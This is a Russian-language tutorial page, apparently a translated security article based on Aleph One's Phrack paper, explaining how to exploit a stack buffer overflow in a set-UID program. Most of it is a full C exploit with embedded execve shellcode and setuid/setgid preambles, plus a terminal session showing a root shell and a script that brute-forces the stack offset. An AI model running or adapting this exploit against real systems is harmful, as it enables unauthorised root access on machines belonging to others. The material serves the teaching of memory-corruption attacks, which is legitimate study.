| |
Главная
О проекте
Web-мастеру
HTML & JavaScript
SSI
Perl
PHP
XML & XSLT
Unix Shell
MySQL
Безопасность
Хостинг
Другое
|
|
Запуск программы
Мы начинаем писать небольшую программу для запуска уязвимого приложения с записью данных, которые переполнят стек. Эта программа имеет различные опции для выбора позиции шеллкода в памяти и для выбора программы для запуска. Данная версия, основанная на статье Aleph One из номера 49 журнала phrack, доступна на сайте Christophe Grenier-а.
Каким образом мы перешлем подготовленный буфер приложению? Обычно вы можете использовать параметры командной строки, как в vulnerable.c, или переменную окружения. Причиной пререполнения может быть также ввод данных или чтение их из файла.
Программа generic_exploit.c вначале выделяет буфер нужного размера, затем копирует туда шеллкод и заполняет буфер адресами и кодами NOP, как было описано выше. Затем, оно подготавливает массив аргументов и запускает атакуемое приложение, используя инструкцию execve(), последнее заменит текущий процесс запускаемым. Программе generic_exploit нужно знать размер буфера для атаки (немного больше, чем реальный размер, чтобы перезаписать адрес возврата), смещение в памяти и выравнивание. Мы указваем будет буфер передан как переменная окружения (var) или из командной строки (novar). Аргумент force/noforce определяет, будет ли вызов запускать функцию setuid()/setgid() из шеллкода.
/* generic_exploit.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
"\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff";
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}
#define A_BSIZE 1
#define A_OFFSET 2
#define A_ALIGN 3
#define A_VAR 4
#define A_FORCE 5
#define A_PROG2RUN 6
#define A_TARGET 7
#define A_ARG 8
int main(int argc, char *argv[])
{
char *buff, *ptr;
char **args;
long addr;
int offset, bsize;
int i,j,n;
struct stat stat_struct;
int align;
if(argc < A_ARG)
{
printf("USAGE: %s bsize offset align (var / novar)
(force/noforce) prog2run target param\n", argv[0]);
return -1;
}
if(stat(argv[A_TARGET],&stat_struct))
{
printf("\nCannot stat %s\n", argv[A_TARGET]);
return 1;
}
bsize = atoi(argv[A_BSIZE]);
offset = atoi(argv[A_OFFSET]);
align = atoi(argv[A_ALIGN]);
if(!(buff = malloc(bsize)))
{
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() + offset;
printf("bsize %d, offset %d\n", bsize, offset);
printf("Using address: 0lx%lx\n", addr);
for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr;
for(i = 0; i < bsize/2; i++) buff[i] = NOP;
ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
if(strcmp(argv[A_FORCE],"force")==0)
{
if(S_ISUID&stat_struct.st_mode)
{
printf("uid %d\n", stat_struct.st_uid);
*(ptr++)= 0x31; /* xorl %eax,%eax */
*(ptr++)= 0xc0;
*(ptr++)= 0x31; /* xorl %ebx,%ebx */
*(ptr++)= 0xdb;
if(stat_struct.st_uid & 0xFF)
{
*(ptr++)= 0xb3; /* movb $0x??,%bl */
*(ptr++)= stat_struct.st_uid;
}
if(stat_struct.st_uid & 0xFF00)
{
*(ptr++)= 0xb7; /* movb $0x??,%bh */
*(ptr++)= stat_struct.st_uid;
}
*(ptr++)= 0xb0; /* movb $0x17,%al */
*(ptr++)= 0x17;
*(ptr++)= 0xcd; /* int $0x80 */
*(ptr++)= 0x80;
}
if(S_ISGID&stat_struct.st_mode)
{
printf("gid %d\n", stat_struct.st_gid);
*(ptr++)= 0x31; /* xorl %eax,%eax */
*(ptr++)= 0xc0;
*(ptr++)= 0x31; /* xorl %ebx,%ebx */
*(ptr++)= 0xdb;
if(stat_struct.st_gid & 0xFF)
{
*(ptr++)= 0xb3; /* movb $0x??,%bl */
*(ptr++)= stat_struct.st_gid;
}
if(stat_struct.st_gid & 0xFF00)
{
*(ptr++)= 0xb7; /* movb $0x??,%bh */
*(ptr++)= stat_struct.st_gid;
}
*(ptr++)= 0xb0; /* movb $0x2e,%al */
*(ptr++)= 0x2e;
*(ptr++)= 0xcd; /* int $0x80 */
*(ptr++)= 0x80;
}
}
/* Дописываем шеллкод */
n=strlen(argv[A_PROG2RUN]);
shellcode[13] = shellcode[23] = n + 5;
shellcode[5] = shellcode[20] = n + 1;
shellcode[10] = n;
for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
/* Копируем prog2run */
printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));
buff[bsize - 1] = '\0';
args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
j=0;
for(i = A_TARGET; i < argc; i++)
args[j++] = argv[i];
if(strcmp(argv[A_VAR],"novar")==0)
{
args[j++]=buff;
args[j++]=NULL;
return execve(args[0],args,NULL);
}
else
{
setenv(argv[A_VAR],buff,1);
args[j++]=NULL;
return execv(args[0],args);
}
}
Чтобы использовать vulnerable.c в своих целях, наш буфр должен быть больше, чем ожидает приложение. Например, мы выбираем 600 байт вместо ожидаемых 500. Мы находим смещение от вершины стека при помощи последовательных испытаний. Адрес, построенный инструкцией addr = get_sp() + offset;, используется для перезаписи адреса возврата, вы получите его... имея небольшое везение! Операция предполагает, что содержимое регистра %esp ненамного отличается в текущем процессе и процессе, вызванном в конце программы. Практически, это не точно: различные события могут изменить состояние стека со времени вычисления до вызова атакуемой программы. Здесь нам удалось запустить переполнение при помощи смещения -1900 байт. Конечно, чтобы закончить опыт, vulnerable должен быть Set-UID root.
$ cc vulnerable.c -o vulnerable
$ cc generic_exploit.c -o generic_exploit
$ su
Password:
# chown root.root vulnerable
# chmod u+s vulnerable
# exit
$ ls -l vulnerable
-rws--x--x 1 root root 11732 Dec 5 15:50 vulnerable
$ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable
bsize 600, offset -1900
Using address: 0lxbffffe54
Shellcode will start /bin/sh
bash# id
uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users)
bash# exit
$ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable
bsize 600, offset -1900
Using address: 0lxbffffe64
uid 0
Shellcode will start /bin/sh
bash# id
uid=0(root) gid=100(users) groups=100(users)
bash# exit
В первом случае (noforce) наш uid не изменился. Тем не менее, у нас появился новый euid, предоставляющий все права. Поэтому, даже если vi говорит при редактировании /etc/passwd, что он только для чтения, мы все-таки можем сохранить файл, и все изменения будут работать: надо всего лишь записывать при помощи w! :) Параметр force делает uid=euid=0 при запуске.
Чтобы автоматически найти значение смещения для переполнения, можно использовать следующий небольшой шелл скрипт:
#! /bin/sh
# find_exploit.sh
BUFFER=600
OFFSET=$BUFFER
OFFSET_MAX=2000
while [ $OFFSET -lt $OFFSET_MAX ] ; do
echo "Offset = $OFFSET"
./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
OFFSET=$(($OFFSET + 4))
done
В нашем эксплоите мы не принимали в расчет возможную проблему выравнивания. Поэтому возможно, что этот пример не будет работать у вас с теми же значениями или не будет работать вообще из-за выравнивания. (Те, кто хочет протестировть пример в любом случае, должны поменять параметр выравнивания на 1, 2 или 3(у нас 0)). Некоторые системы не позволяют писать в области памяти, не являющиеся полными словами, однако в Linux это не так.
Назад |
Содержание |
Вперед
|
|